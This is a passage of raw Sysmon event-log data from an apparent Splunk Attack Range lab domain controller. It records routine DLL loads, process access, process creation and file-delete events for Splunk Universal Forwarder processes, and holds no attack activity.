Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000058141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000058140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000058139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000058138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000058137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000058136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000058133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000058132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000058131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000058129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000058128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000058127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000058126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000058125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000058124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000058123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000058122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000058120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000058119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000058118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000058117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000058112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000058107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000058106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.456{7BD73061-7597-613B-C10B-00000000F001}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000058105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:19.440{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=766676FF43F2A9850598D0436CA6875F,SHA256=5188B15FE3C4AA2EF5DA8ED27605F167173F96FFE4BD6C9F941FD1973A91E001,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000058104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:16.399{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63224-false10.0.1.12-8000- 23542300x800000000000000058263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=63609D8B15775593AC06523597A4DC6C,SHA256=059C0A345D345F44DCC7C625F1AA576C71A1CBDC7B29BA2FD6ACF0AD7BEFB5D2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000058262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.956{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EDCB91812836E75C39BC7322FB5D1B92,SHA256=0C4046F87E881030DA9C3C76235FB832DB83CF0FE655688D0812F01F34E7E87D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000058261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.831{7BD73061-7598-613B-C30B-00000000F001}2436C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000058260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:20.831{7BD73061-7598-613B-C30B-00000000F001}24364584C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program 